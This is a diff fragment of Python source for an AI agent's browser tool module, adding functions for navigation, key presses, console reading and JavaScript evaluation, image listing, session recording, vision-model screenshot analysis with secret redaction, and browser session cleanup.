+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2554
+
2555
+ response = {
2556
+ "success": True,
2557
+ "scrolled": direction
2558
+ }
2559
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2560
+
2561
+
2562
+ def browser_back(task_id: Optional[str] = None) -> str:
2563
+ """
2564
+ Navigate back in browser history.
2565
+
2566
+ Args:
2567
+ task_id: Task identifier for session isolation
2568
+
2569
+ Returns:
2570
+ JSON string with navigation result
2571
+ """
2572
+ if _is_camofox_mode():
2573
+ from tools.browser_camofox import camofox_back
2574
+ return camofox_back(task_id)
2575
+
2576
+ effective_task_id = _last_session_key(task_id or "default")
2577
+ result = _run_browser_command(effective_task_id, "back", [])
2578
+
2579
+ if result.get("success"):
2580
+ data = result.get("data", {})
2581
+ response = {
2582
+ "success": True,
2583
+ "url": data.get("url", "")
2584
+ }
2585
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2586
+ else:
2587
+ response = {
2588
+ "success": False,
2589
+ "error": result.get("error", "Failed to go back")
2590
+ }
2591
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2592
+
2593
+
2594
+ def browser_press(key: str, task_id: Optional[str] = None) -> str:
2595
+ """
2596
+ Press a keyboard key.
2597
+
2598
+ Args:
2599
+ key: Key to press (e.g., "Enter", "Tab")
2600
+ task_id: Task identifier for session isolation
2601
+
2602
+ Returns:
2603
+ JSON string with key press result
2604
+ """
2605
+ if _is_camofox_mode():
2606
+ from tools.browser_camofox import camofox_press
2607
+ return camofox_press(key, task_id)
2608
+
2609
+ effective_task_id = _last_session_key(task_id or "default")
2610
+ result = _run_browser_command(effective_task_id, "press", [key])
2611
+
2612
+ if result.get("success"):
2613
+ response = {
2614
+ "success": True,
2615
+ "pressed": key
2616
+ }
2617
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2618
+ else:
2619
+ response = {
2620
+ "success": False,
2621
+ "error": result.get("error", f"Failed to press {key}")
2622
+ }
2623
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2624
+
2625
+
2626
+
2627
+
2628
+
2629
+ def browser_console(clear: bool = False, expression: Optional[str] = None, task_id: Optional[str] = None) -> str:
2630
+ """Get browser console messages and JavaScript errors, or evaluate JS in the page.
2631
+
2632
+ When ``expression`` is provided, evaluates JavaScript in the page context
2633
+ (like the DevTools console) and returns the result. Otherwise returns
2634
+ console output (log/warn/error/info) and uncaught exceptions.
2635
+
2636
+ Args:
2637
+ clear: If True, clear the message/error buffers after reading
2638
+ expression: JavaScript expression to evaluate in the page context
2639
+ task_id: Task identifier for session isolation
2640
+
2641
+ Returns:
2642
+ JSON string with console messages/errors, or eval result
2643
+ """
2644
+ # --- JS evaluation mode ---
2645
+ if expression is not None:
2646
+ return _browser_eval(expression, task_id)
2647
+
2648
+ # --- Console output mode (original behaviour) ---
2649
+ if _is_camofox_mode():
2650
+ from tools.browser_camofox import camofox_console
2651
+ return camofox_console(clear, task_id)
2652
+
2653
+ effective_task_id = _last_session_key(task_id or "default")
2654
+
2655
+ console_args = ["--clear"] if clear else []
2656
+ error_args = ["--clear"] if clear else []
2657
+
2658
+ console_result = _run_browser_command(effective_task_id, "console", console_args)
2659
+ errors_result = _run_browser_command(effective_task_id, "errors", error_args)
2660
+
2661
+ messages = []
2662
+ if console_result.get("success"):
2663
+ for msg in console_result.get("data", {}).get("messages", []):
2664
+ messages.append({
2665
+ "type": msg.get("type", "log"),
2666
+ "text": msg.get("text", ""),
2667
+ "source": "console",
2668
+ })
2669
+
2670
+ errors = []
2671
+ if errors_result.get("success"):
2672
+ for err in errors_result.get("data", {}).get("errors", []):
2673
+ errors.append({
2674
+ "message": err.get("message", ""),
2675
+ "source": "exception",
2676
+ })
2677
+
2678
+ response = {
2679
+ "success": True,
2680
+ "console_messages": messages,
2681
+ "js_errors": errors,
2682
+ "total_messages": len(messages),
2683
+ "total_errors": len(errors),
2684
+ }
2685
+ _copy_fallback_warning(response, console_result)
2686
+ if errors_result.get("fallback_warning") and not response.get("fallback_warning"):
2687
+ _copy_fallback_warning(response, errors_result)
2688
+ return json.dumps(response, ensure_ascii=False)
2689
+
2690
+
2691
+ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
2692
+ """Evaluate a JavaScript expression in the page context and return the result."""
2693
+ if _is_camofox_mode():
2694
+ return _camofox_eval(expression, task_id)
2695
+
2696
+ effective_task_id = _last_session_key(task_id or "default")
2697
+
2698
+ # --- Fast path: route through the supervisor's persistent CDP WS ---------
2699
+ # When a CDPSupervisor is alive for this task_id, ``Runtime.evaluate`` runs
2700
+ # on the already-connected WebSocket — zero subprocess startup cost vs
2701
+ # spawning an ``agent-browser eval`` CLI process. Falls through to the
2702
+ # subprocess path on any error so behaviour is unchanged when no
2703
+ # supervisor is running (e.g. plain agent-browser without a CDP backend).
2704
+ try:
2705
+ from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found]
2706
+ supervisor = SUPERVISOR_REGISTRY.get(effective_task_id)
2707
+ if supervisor is not None:
2708
+ sup_result = supervisor.evaluate_runtime(expression)
2709
+ if sup_result.get("ok"):
2710
+ raw_result = sup_result.get("result")
2711
+ # Match the agent-browser path: if the value is a JSON string,
2712
+ # parse it so the model gets structured data.
2713
+ parsed = raw_result
2714
+ if isinstance(raw_result, str):
2715
+ try:
2716
+ parsed = json.loads(raw_result)
2717
+ except (json.JSONDecodeError, ValueError):
2718
+ pass # keep as string
2719
+ response = {
2720
+ "success": True,
2721
+ "result": parsed,
2722
+ "result_type": type(parsed).__name__,
2723
+ "method": "cdp_supervisor",
2724
+ }
2725
+ return json.dumps(response, ensure_ascii=False, default=str)
2726
+ # JS exception is a real failure — surface it instead of falling
2727
+ # through to the subprocess path (which would just re-run and
2728
+ # produce the same exception, but slower).
2729
+ err = sup_result.get("error") or "evaluate_runtime failed"
2730
+ if "supervisor" not in err.lower():
2731
+ # Real JS-side error — return it.
2732
+ return json.dumps({"success": False, "error": err}, ensure_ascii=False)
2733
+ # Supervisor-side failure (loop down, no session) — fall through.
2734
+ logger.debug(
2735
+ "browser_eval: supervisor path unavailable (%s), falling back to subprocess",
2736
+ err,
2737
+ )
2738
+ except ImportError:
2739
+ pass
2740
+ except Exception as exc: # pragma: no cover — defensive
2741
+ logger.debug("browser_eval: supervisor path errored (%s), falling back", exc)
2742
+
2743
+ # --- Fallback: agent-browser CLI subprocess (original path) -------------
2744
+ result = _run_browser_command(effective_task_id, "eval", [expression])
2745
+
2746
+ if not result.get("success"):
2747
+ err = result.get("error", "eval failed")
2748
+ # Detect backend capability gaps and give the model a clear signal
2749
+ if any(hint in err.lower() for hint in ("unknown command", "not supported", "not found", "no such command")):
2750
+ response = {
2751
+ "success": False,
2752
+ "error": f"JavaScript evaluation is not supported by this browser backend. {err}",
2753
+ }
2754
+ return json.dumps(_copy_fallback_warning(response, result))
2755
+ response = {
2756
+ "success": False,
2757
+ "error": err,
2758
+ }
2759
+ return json.dumps(_copy_fallback_warning(response, result))
2760
+
2761
+ data = result.get("data", {})
2762
+ raw_result = data.get("result")
2763
+
2764
+ # The eval command returns the JS result as a string. If the string
2765
+ # is valid JSON, parse it so the model gets structured data.
2766
+ parsed = raw_result
2767
+ if isinstance(raw_result, str):
2768
+ try:
2769
+ parsed = json.loads(raw_result)
2770
+ except (json.JSONDecodeError, ValueError):
2771
+ pass # keep as string
2772
+
2773
+ response = {
2774
+ "success": True,
2775
+ "result": parsed,
2776
+ "result_type": type(parsed).__name__,
2777
+ }
2778
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False, default=str)
2779
+
2780
+
2781
+ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:
2782
+ """Evaluate JS via Camofox's /tabs/{tab_id}/eval endpoint (if available)."""
2783
+ from tools.browser_camofox import _ensure_tab, _post
2784
+ try:
2785
+ tab_info = _ensure_tab(task_id or "default")
2786
+ tab_id = tab_info.get("tab_id") or tab_info.get("id")
2787
+ resp = _post(f"/tabs/{tab_id}/evaluate", body={"expression": expression, "userId": tab_info["user_id"]})
2788
+
2789
+ # Camofox returns the result in a JSON envelope
2790
+ raw_result = resp.get("result") if isinstance(resp, dict) else resp
2791
+ parsed = raw_result
2792
+ if isinstance(raw_result, str):
2793
+ try:
2794
+ parsed = json.loads(raw_result)
2795
+ except (json.JSONDecodeError, ValueError):
2796
+ pass
2797
+
2798
+ return json.dumps({
2799
+ "success": True,
2800
+ "result": parsed,
2801
+ "result_type": type(parsed).__name__,
2802
+ }, ensure_ascii=False, default=str)
2803
+ except Exception as e:
2804
+ error_msg = str(e)
2805
+ # Graceful degradation — server may not support eval
2806
+ if any(code in error_msg for code in ("404", "405", "501")):
2807
+ return json.dumps({
2808
+ "success": False,
2809
+ "error": "JavaScript evaluation is not supported by this Camofox server. "
2810
+ "Use browser_snapshot or browser_vision to inspect page state.",
2811
+ })
2812
+ return tool_error(error_msg, success=False)
2813
+
2814
+
2815
+ def _maybe_start_recording(task_id: str):
2816
+ """Start recording if browser.record_sessions is enabled in config."""
2817
+ with _cleanup_lock:
2818
+ if task_id in _recording_sessions:
2819
+ return
2820
+ try:
2821
+ from hermes_cli.config import read_raw_config
2822
+ hermes_home = get_hermes_home()
2823
+ cfg = read_raw_config()
2824
+ record_enabled = cfg_get(cfg, "browser", "record_sessions", default=False)
2825
+
2826
+ if not record_enabled:
2827
+ return
2828
+
2829
+ recordings_dir = hermes_home / "browser_recordings"
2830
+ recordings_dir.mkdir(parents=True, exist_ok=True)
2831
+ _cleanup_old_recordings(max_age_hours=72)
2832
+
2833
+ timestamp = time.strftime("%Y%m%d_%H%M%S")
2834
+ recording_path = recordings_dir / f"session_{timestamp}_{task_id[:16]}.webm"
2835
+
2836
+ result = _run_browser_command(task_id, "record", ["start", str(recording_path)])
2837
+ if result.get("success"):
2838
+ with _cleanup_lock:
2839
+ _recording_sessions.add(task_id)
2840
+ logger.info("Auto-recording browser session %s to %s", task_id, recording_path)
2841
+ else:
2842
+ logger.debug("Could not start auto-recording: %s", result.get("error"))
2843
+ except Exception as e:
2844
+ logger.debug("Auto-recording setup failed: %s", e)
2845
+
2846
+
2847
+ def _maybe_stop_recording(task_id: str):
2848
+ """Stop recording if one is active for this session."""
2849
+ with _cleanup_lock:
2850
+ if task_id not in _recording_sessions:
2851
+ return
2852
+ try:
2853
+ result = _run_browser_command(task_id, "record", ["stop"])
2854
+ if result.get("success"):
2855
+ path = result.get("data", {}).get("path", "")
2856
+ logger.info("Saved browser recording for session %s: %s", task_id, path)
2857
+ except Exception as e:
2858
+ logger.debug("Could not stop recording for %s: %s", task_id, e)
2859
+ finally:
2860
+ with _cleanup_lock:
2861
+ _recording_sessions.discard(task_id)
2862
+
2863
+
2864
+ def browser_get_images(task_id: Optional[str] = None) -> str:
2865
+ """
2866
+ Get all images on the current page.
2867
+
2868
+ Args:
2869
+ task_id: Task identifier for session isolation
2870
+
2871
+ Returns:
2872
+ JSON string with list of images (src and alt)
2873
+ """
2874
+ if _is_camofox_mode():
2875
+ from tools.browser_camofox import camofox_get_images
2876
+ return camofox_get_images(task_id)
2877
+
2878
+ effective_task_id = _last_session_key(task_id or "default")
2879
+
2880
+ # Use eval to run JavaScript that extracts images
2881
+ js_code = """JSON.stringify(
2882
+ [...document.images].map(img => ({
2883
+ src: img.src,
2884
+ alt: img.alt || '',
2885
+ width: img.naturalWidth,
2886
+ height: img.naturalHeight
2887
+ })).filter(img => img.src && !img.src.startsWith('data:'))
2888
+ )"""
2889
+
2890
+ result = _run_browser_command(effective_task_id, "eval", [js_code])
2891
+
2892
+ if result.get("success"):
2893
+ data = result.get("data", {})
2894
+ raw_result = data.get("result", "[]")
2895
+
2896
+ try:
2897
+ # Parse the JSON string returned by JavaScript
2898
+ if isinstance(raw_result, str):
2899
+ images = json.loads(raw_result)
2900
+ else:
2901
+ images = raw_result
2902
+
2903
+ response = {
2904
+ "success": True,
2905
+ "images": images,
2906
+ "count": len(images)
2907
+ }
2908
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2909
+ except json.JSONDecodeError:
2910
+ response = {
2911
+ "success": True,
2912
+ "images": [],
2913
+ "count": 0,
2914
+ "warning": "Could not parse image data"
2915
+ }
2916
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2917
+ else:
2918
+ response = {
2919
+ "success": False,
2920
+ "error": result.get("error", "Failed to get images")
2921
+ }
2922
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2923
+
2924
+
2925
+ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str] = None) -> str:
2926
+ """
2927
+ Take a screenshot of the current page and analyze it with vision AI.
2928
+
2929
+ This tool captures what's visually displayed in the browser and sends it
2930
+ to Gemini for analysis. Useful for understanding visual content that the
2931
+ text-based snapshot may not capture (CAPTCHAs, verification challenges,
2932
+ images, complex layouts, etc.).
2933
+
2934
+ The screenshot is saved persistently and its file path is returned alongside
2935
+ the analysis, so it can be shared with users via MEDIA:<path> in the response.
2936
+
2937
+ Args:
2938
+ question: What you want to know about the page visually
2939
+ annotate: If True, overlay numbered [N] labels on interactive elements
2940
+ task_id: Task identifier for session isolation
2941
+
2942
+ Returns:
2943
+ JSON string with vision analysis results and screenshot_path
2944
+ """
2945
+ if _is_camofox_mode():
2946
+ from tools.browser_camofox import camofox_vision
2947
+ return camofox_vision(question, annotate, task_id)
2948
+
2949
+ import base64
2950
+ import uuid as uuid_mod
2951
+ from calvyn_constants import get_hermes_dir
2952
+ screenshots_dir = get_hermes_dir("cache/screenshots", "browser_screenshots")
2953
+ screenshot_path = screenshots_dir / f"browser_screenshot_{uuid_mod.uuid4().hex}.png"
2954
+ effective_task_id = _last_session_key(task_id or "default")
2955
+
2956
+ # Lightpanda has no graphical renderer — pre-route screenshots to Chrome
2957
+ # via the fallback helper instead of letting the normal path fail with a
2958
+ # CDP error or return a placeholder PNG. The normal analysis path below
2959
+ # still owns base64 encoding, provider routing, resizing retry, redaction,
2960
+ # and response shape.
2961
+ engine = _get_browser_engine()
2962
+ _lp_prerouted = False
2963
+ _lp_fallback_warning = None
2964
+ if engine == "lightpanda" and _should_inject_engine(engine):
2965
+ logger.debug("browser_vision: pre-routing screenshot to Chrome (engine=lightpanda)")
2966
+ screenshot_args = []
2967
+ if annotate:
2968
+ screenshot_args.append("--annotate")
2969
+ fb_result = _chrome_fallback_screenshot(
2970
+ effective_task_id, screenshot_args, _get_command_timeout(),
2971
+ )
2972
+ fb_reason = "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture."
2973
+ fb_result = _annotate_lightpanda_fallback(fb_result, fb_reason)
2974
+ if fb_result.get("success"):
2975
+ _lp_prerouted = True
2976
+ _lp_fallback_warning = fb_result.get("fallback_warning")
2977
+ fb_path = fb_result.get("data", {}).get("path", "")
2978
+ if fb_path and os.path.exists(fb_path):
2979
+ from calvyn_constants import get_hermes_dir
2980
+ screenshots_dir = get_hermes_dir("cache/screenshots", "browser_screenshots")
2981
+ screenshots_dir.mkdir(parents=True, exist_ok=True)
2982
+ import shutil as _shutil_vision
2983
+ persistent_path = screenshots_dir / f"browser_screenshot_{uuid_mod.uuid4().hex}.png"
2984
+ _shutil_vision.copy2(fb_path, persistent_path)
2985
+ screenshot_path = persistent_path
2986
+ else:
2987
+ logger.warning("Lightpanda Chrome fallback vision screenshot failed: %s", fb_result.get("error"))
2988
+ # Fall through to the normal screenshot path so _run_browser_command
2989
+ # can still produce the standard fallback metadata/error.
2990
+ _lp_prerouted = False
2991
+
2992
+ try:
2993
+ screenshots_dir.mkdir(parents=True, exist_ok=True)
2994
+
2995
+ # Prune old screenshots (older than 24 hours) to prevent unbounded disk growth
2996
+ _cleanup_old_screenshots(screenshots_dir, max_age_hours=24)
2997
+
2998
+ if _lp_prerouted and screenshot_path.exists():
2999
+ result = {
3000
+ "success": True,
3001
+ "data": {
3002
+ "path": str(screenshot_path),
3003
+ "fallback_warning": _lp_fallback_warning,
3004
+ "browser_engine": "chrome",
3005
+ "browser_engine_fallback": {
3006
+ "from": "lightpanda",
3007
+ "to": "chrome",
3008
+ "reason": "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture.",
3009
+ },
3010
+ },
3011
+ "fallback_warning": _lp_fallback_warning,
3012
+ "browser_engine": "chrome",
3013
+ "browser_engine_fallback": {
3014
+ "from": "lightpanda",
3015
+ "to": "chrome",
3016
+ "reason": "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture.",
3017
+ },
3018
+ }
3019
+ else:
3020
+ # Take screenshot using agent-browser
3021
+ screenshot_args = []
3022
+ if annotate:
3023
+ screenshot_args.append("--annotate")
3024
+ screenshot_args.append("--full")
3025
+ screenshot_args.append(str(screenshot_path))
3026
+ result = _run_browser_command(
3027
+ effective_task_id,
3028
+ "screenshot",
3029
+ screenshot_args,
3030
+ # If the Lightpanda pre-route already failed, force Chrome so
3031
+ # _run_browser_command doesn't trigger a redundant LP fallback.
3032
+ _engine_override="auto" if _lp_prerouted else None,
3033
+ )
3034
+
3035
+ if not result.get("success"):
3036
+ error_detail = result.get("error", "Unknown error")
3037
+ _cp = _get_cloud_provider()
3038
+ mode = "local" if _cp is None else f"cloud ({_cp.provider_name()})"
3039
+ error_response = {
3040
+ "success": False,
3041
+ "error": f"Failed to take screenshot ({mode} mode): {error_detail}"
3042
+ }
3043
+ return json.dumps(_copy_fallback_warning(error_response, result), ensure_ascii=False)
3044
+
3045
+ actual_screenshot_path = result.get("data", {}).get("path")
3046
+ if actual_screenshot_path:
3047
+ screenshot_path = Path(actual_screenshot_path)
3048
+
3049
+ # Check if screenshot file was created
3050
+ if not screenshot_path.exists():
3051
+ _cp = _get_cloud_provider()
3052
+ mode = "local" if _cp is None else f"cloud ({_cp.provider_name()})"
3053
+ return json.dumps({
3054
+ "success": False,
3055
+ "error": (
3056
+ f"Screenshot file was not created at {screenshot_path} ({mode} mode). "
3057
+ f"This may indicate a socket path issue (macOS /var/folders/), "
3058
+ f"a missing Chromium install ('agent-browser install'), "
3059
+ f"or a stale daemon process."
3060
+ ),
3061
+ }, ensure_ascii=False)
3062
+
3063
+ # Convert screenshot to base64 at full resolution.
3064
+ _screenshot_bytes = screenshot_path.read_bytes()
3065
+ _screenshot_b64 = base64.b64encode(_screenshot_bytes).decode("ascii")
3066
+ data_url = f"data:image/png;base64,{_screenshot_b64}"
3067
+
3068
+ vision_prompt = (
3069
+ f"You are analyzing a screenshot of a web browser.\n\n"
3070
+ f"User's question: {question}\n\n"
3071
+ f"Provide a detailed and helpful answer based on what you see in the screenshot. "
3072
+ f"If there are interactive elements, describe them. If there are verification challenges "
3073
+ f"or CAPTCHAs, describe what type they are and what action might be needed. "
3074
+ f"Focus on answering the user's specific question."
3075
+ )
3076
+
3077
+ # Use the centralized LLM router
3078
+ vision_model = _get_vision_model()
3079
+ logger.debug("browser_vision: analysing screenshot (%d bytes)",
3080
+ len(_screenshot_bytes))
3081
+
3082
+ # Read vision timeout/temperature from config (auxiliary.vision.*).
3083
+ # Local vision models (llama.cpp, ollama) can take well over 30s for
3084
+ # screenshot analysis, so the default timeout must be generous.
3085
+ vision_timeout = 120.0
3086
+ vision_temperature = 0.1
3087
+ try:
3088
+ from hermes_cli.config import load_config
3089
+ _cfg = load_config()
3090
+ _vision_cfg = cfg_get(_cfg, "auxiliary", "vision", default={})
3091
+ _vt = _vision_cfg.get("timeout")
3092
+ if _vt is not None:
3093
+ vision_timeout = float(_vt)
3094
+ _vtemp = _vision_cfg.get("temperature")
3095
+ if _vtemp is not None:
3096
+ vision_temperature = float(_vtemp)
3097
+ except Exception:
3098
+ pass
3099
+
3100
+ call_kwargs = {
3101
+ "task": "vision",
3102
+ "messages": [
3103
+ {
3104
+ "role": "user",
3105
+ "content": [
3106
+ {"type": "text", "text": vision_prompt},
3107
+ {"type": "image_url", "image_url": {"url": data_url}},
3108
+ ],
3109
+ }
3110
+ ],
3111
+ "max_tokens": 2000,
3112
+ "temperature": vision_temperature,
3113
+ "timeout": vision_timeout,
3114
+ }
3115
+ if vision_model:
3116
+ call_kwargs["model"] = vision_model
3117
+ # Try full-size screenshot; on size-related rejection, downscale and retry.
3118
+ try:
3119
+ response = call_llm(**call_kwargs)
3120
+ except Exception as _api_err:
3121
+ from tools.vision_tools import (
3122
+ _is_image_size_error, _resize_image_for_vision, _RESIZE_TARGET_BYTES,
3123
+ )
3124
+ if (_is_image_size_error(_api_err)
3125
+ and len(data_url) > _RESIZE_TARGET_BYTES):
3126
+ logger.info(
3127
+ "Vision API rejected screenshot (%.1f MB); "
3128
+ "auto-resizing to ~%.0f MB and retrying...",
3129
+ len(data_url) / (1024 * 1024),
3130
+ _RESIZE_TARGET_BYTES / (1024 * 1024),
3131
+ )
3132
+ data_url = _resize_image_for_vision(
3133
+ screenshot_path, mime_type="image/png")
3134
+ call_kwargs["messages"][0]["content"][1]["image_url"]["url"] = data_url
3135
+ response = call_llm(**call_kwargs)
3136
+ else:
3137
+ raise
3138
+
3139
+ analysis = (response.choices[0].message.content or "").strip()
3140
+ # Redact secrets the vision LLM may have read from the screenshot.
3141
+ from agent.redact import redact_sensitive_text
3142
+ analysis = redact_sensitive_text(analysis)
3143
+ response_data = {
3144
+ "success": True,
3145
+ "analysis": analysis or "Vision analysis returned no content.",
3146
+ "screenshot_path": str(screenshot_path),
3147
+ }
3148
+ _copy_fallback_warning(response_data, result)
3149
+ # Include annotation data if annotated screenshot was taken
3150
+ if annotate and result.get("data", {}).get("annotations"):
3151
+ response_data["annotations"] = result["data"]["annotations"]
3152
+ return json.dumps(response_data, ensure_ascii=False)
3153
+
3154
+ except Exception as e:
3155
+ # Keep the screenshot if it was captured successfully — the failure is
3156
+ # in the LLM vision analysis, not the capture. Deleting a valid
3157
+ # screenshot loses evidence the user might need. The 24-hour cleanup
3158
+ # in _cleanup_old_screenshots prevents unbounded disk growth.
3159
+ logger.warning("browser_vision failed: %s", e, exc_info=True)
3160
+ error_info = {"success": False, "error": f"Error during vision analysis: {str(e)}"}
3161
+ if screenshot_path.exists():
3162
+ error_info["screenshot_path"] = str(screenshot_path)
3163
+ error_info["note"] = "Screenshot was captured but vision analysis failed. You can still share it via MEDIA:<path>."
3164
+ _copy_fallback_warning(error_info, result if 'result' in locals() else {})
3165
+ return json.dumps(error_info, ensure_ascii=False)
3166
+
3167
+
3168
+ def _cleanup_old_screenshots(screenshots_dir, max_age_hours=24):
3169
+ """Remove browser screenshots older than max_age_hours to prevent disk bloat.
3170
+
3171
+ Throttled to run at most once per hour per directory to avoid repeated
3172
+ scans on screenshot-heavy workflows.
3173
+ """
3174
+ key = str(screenshots_dir)
3175
+ now = time.time()
3176
+ if now - _last_screenshot_cleanup_by_dir.get(key, 0.0) < 3600:
3177
+ return
3178
+ _last_screenshot_cleanup_by_dir[key] = now
3179
+
3180
+ try:
3181
+ cutoff = time.time() - (max_age_hours * 3600)
3182
+ for f in screenshots_dir.glob("browser_screenshot_*.png"):
3183
+ try:
3184
+ if f.stat().st_mtime < cutoff:
3185
+ f.unlink()
3186
+ except Exception as e:
3187
+ logger.debug("Failed to clean old screenshot %s: %s", f, e)
3188
+ except Exception as e:
3189
+ logger.debug("Screenshot cleanup error (non-critical): %s", e)
3190
+
3191
+
3192
+ def _cleanup_old_recordings(max_age_hours=72):
3193
+ """Remove browser recordings older than max_age_hours to prevent disk bloat."""
3194
+ try:
3195
+ hermes_home = get_hermes_home()
3196
+ recordings_dir = hermes_home / "browser_recordings"
3197
+ if not recordings_dir.exists():
3198
+ return
3199
+ cutoff = time.time() - (max_age_hours * 3600)
3200
+ for f in recordings_dir.glob("session_*.webm"):
3201
+ try:
3202
+ if f.stat().st_mtime < cutoff:
3203
+ f.unlink()
3204
+ except Exception as e:
3205
+ logger.debug("Failed to clean old recording %s: %s", f, e)
3206
+ except Exception as e:
3207
+ logger.debug("Recording cleanup error (non-critical): %s", e)
3208
+
3209
+
3210
+ # ============================================================================
3211
+ # Cleanup and Management Functions
3212
+ # ============================================================================
3213
+
3214
+ def cleanup_browser(task_id: Optional[str] = None) -> None:
3215
+ """
3216
+ Clean up browser session(s) for a task.
3217
+
3218
+ Called automatically when a task completes or when inactivity timeout is reached.
3219
+ Closes both the agent-browser/Browserbase session and Camofox sessions.
3220
+
3221
+ When ``task_id`` is a bare task identifier (no ``::local`` suffix), reaps
3222
+ BOTH the cloud/primary session AND any hybrid-routing local sidecar that
3223
+ may have been spawned for LAN/localhost URLs in the same task. When
3224
+ ``task_id`` already carries a ``::local`` suffix (called from the inactivity
3225
+ cleanup loop against a specific session key), reaps only that one.
3226
+
3227
+ Args:
3228
+ task_id: Task identifier (or explicit session key)
3229
+ """
3230
+ if task_id is None:
3231
+ task_id = "default"
3232
+
3233
+ # Expand to the full set of session keys to reap. For a bare task_id
3234
+ # that includes the cloud/primary key + the local sidecar if one exists.
3235
+ if _is_local_sidecar_key(task_id):
3236
+ session_keys = [task_id]
3237
+ bare_task_id = task_id[: -len(_LOCAL_SUFFIX)]
3238
+ else:
3239
+ session_keys = [task_id]
3240
+ sidecar_key = f"{task_id}{_LOCAL_SUFFIX}"
3241
+ with _cleanup_lock:
3242
+ if sidecar_key in _active_sessions:
3243
+ session_keys.append(sidecar_key)
3244
+ bare_task_id = task_id
3245
+
3246
+ for session_key in session_keys:
3247
+ _cleanup_single_browser_session(session_key)
3248
+
3249
+ # Drop the last-active pointer only when the bare task is being cleaned
3250
+ # (i.e. not when we're only reaping a sidecar mid-task).
3251
+ if not _is_local_sidecar_key(task_id):
3252
+ _last_active_session_key.pop(bare_task_id, None)
3253
+
3254
+
3255
+ def _cleanup_single_browser_session(task_id: str) -> None:
3256
+ """Internal: reap a single browser session by its exact session key."""
3257
+ # Stop the CDP supervisor for this task FIRST so we close our WebSocket
3258
+ # before the backend tears down the underlying CDP endpoint.
3259
+ _stop_cdp_supervisor(task_id)
3260
+
3261
+ # Also clean up Camofox session if running in Camofox mode.
3262
+ # Skip full close when managed persistence is enabled — the browser
3263
+ # profile (and its session cookies) must survive across agent tasks.
3264
+ # The inactivity reaper still frees idle resources.
3265
+ if _is_camofox_mode():
3266
+ try:
3267
+ from tools.browser_camofox import camofox_close, camofox_soft_cleanup
3268
+ if not camofox_soft_cleanup(task_id):
3269
+ camofox_close(task_id)
3270
+ except Exception as e:
3271
+ logger.debug("Camofox cleanup for task %s: %s", task_id, e)
3272
+
3273
+ logger.debug("cleanup_browser called for task_id: %s", task_id)
3274
+ logger.debug("Active sessions: %s", list(_active_sessions.keys()))
3275
+
3276
+ # Check if session exists (under lock), but don't remove yet -
3277
+ # _run_browser_command needs it to build the close command.
3278
+ with _cleanup_lock:
3279
+ session_info = _active_sessions.get(task_id)
3280
+
3281
+ if session_info:
3282
+ bb_session_id = session_info.get("bb_session_id", "unknown")
3283
+ logger.debug("Found session for task %s: bb_session_id=%s", task_id, bb_session_id)
3284
+
3285
+ # Stop auto-recording before closing (saves the file)
3286
+ _maybe_stop_recording(task_id)
3287
+
3288
+ # Try to close via agent-browser first (needs session in _active_sessions)
3289
+ try:
3290
+ _run_browser_command(task_id, "close", [], timeout=10)
3291
+ logger.debug("agent-browser close command completed for task %s", task_id)
3292
+ except Exception as e:
3293
+ logger.warning("agent-browser close failed for task %s: %s", task_id, e)
3294
+
3295
+ # Now remove from tracking under lock
3296
+ with _cleanup_lock:
3297
+ _active_sessions.pop(task_id, None)
3298
+ _session_last_activity.pop(task_id, None)
3299
+
3300
+ # Cloud mode: close the cloud browser session via provider API.
3301
+ # Local sidecars have bb_session_id=None so this no-ops for them.
3302
+ if bb_session_id:
3303
+ provider = _get_cloud_provider()
3304
+ if provider is not None:
3305
+ try:
3306
+ provider.close_session(bb_session_id)
3307
+ except Exception as e:
3308
+ logger.warning("Could not close cloud browser session: %s", e)
3309
+
3310
+ # Kill the daemon process and clean up socket directory
3311
+ session_name = session_info.get("session_name", "")
3312
+ if session_name:
3313
+ socket_dir = os.path.join(_socket_safe_tmpdir(), f"agent-browser-{session_name}")
3314
+ if os.path.exists(socket_dir):
3315
+ # agent-browser writes {session}.pid in the socket dir
3316
+ pid_file = os.path.join(socket_dir, f"{session_name}.pid")
3317
+ if os.path.isfile(pid_file):
3318
+ try:
3319
+ daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip())
3320
+ os.kill(daemon_pid, signal.SIGTERM)
3321
+ logger.debug("Killed daemon pid %s for %s", daemon_pid, session_name)
3322
+ except (ProcessLookupError, ValueError, PermissionError, OSError):
3323
+ logger.debug("Could not kill daemon pid for %s (already dead or inaccessible)", session_name)
3324
+ shutil.rmtree(socket_dir, ignore_errors=True)
3325
+
3326
+ logger.debug("Removed task %s from active sessions", task_id)
3327
+ else:
3328
+ logger.debug("No active session found for task_id: %s", task_id)
3329
+
3330
+
3331
+ def cleanup_all_browsers() -> None:
3332
+ """
3333
+ Clean up all active browser sessions.
3334
+
3335
+ Useful for cleanup on shutdown.
3336
+ """
3337
+ with _cleanup_lock:
3338
+ task_ids = list(_active_sessions.keys())
3339
+ for task_id in task_ids:
3340
+ cleanup_browser(task_id)
3341
+
3342
+ # Tear down CDP supervisors for all tasks so background threads exit.
3343
+ try:
3344
+ from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found]
3345
+ SUPERVISOR_REGISTRY.stop_all()
3346
+ except Exception:
3347
+ pass
3348
+
3349
+ # Reset cached lookups so they are re-evaluated on next use.
3350
+ global _cached_agent_browser, _agent_browser_resolved
3351
+ global _cached_command_timeout, _command_timeout_resolved
3352
+ global _cached_chromium_installed
3353
+ global _cached_browser_engine, _browser_engine_resolved
3354
+ _cached_agent_browser = None
3355
